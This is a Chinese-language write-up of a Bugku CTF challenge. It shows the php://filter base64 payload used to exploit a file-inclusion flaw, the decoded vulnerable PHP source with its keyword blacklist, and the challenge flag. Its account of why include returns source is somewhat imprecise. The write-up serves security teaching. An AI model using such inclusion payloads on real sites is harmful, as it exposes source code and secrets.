CTF-flag在index里 80
進入鏈接
點一下
一臉懵逼,百度知道這是文件包含漏洞
將file=show.php改成file= php://filter/read=convert.base64-encode/resource=index.php
得到一串base64密文,進行解碼得到:
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
現在具體說說file=php://filter/read=convert.base64-encode/resource=index.php的含義
首先這是一個file關鍵字的get參數傳遞,php://是一種協議名稱,php://filter/是一種訪問本地文件的協議,/read=convert.base64-encode/表示讀取的方式是base64編碼后,resource=index.php表示目標文件為index.php。
通過傳遞這個參數可以得到index.php的源碼,下面說說為什么,看到源碼中的include函數,這個表示從外部引入php文件並執行,如果執行不成功,就返回文件的源碼。
而include的內容是由用戶控制的,所以通過我們傳遞的file參數,是include()函數引入了index.php的base64編碼格式,因為是base64編碼格式,所以執行不成功,返回源碼,所以我們得到了源碼的base64格式,解碼即可。
如果不進行base64編碼傳入,就會直接執行,而flag的信息在注釋中,是得不到的。
解釋引用於:
————————————————
版權聲明:本文為CSDN博主「安~然」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/zpy1998zpy/java/article/details/80585443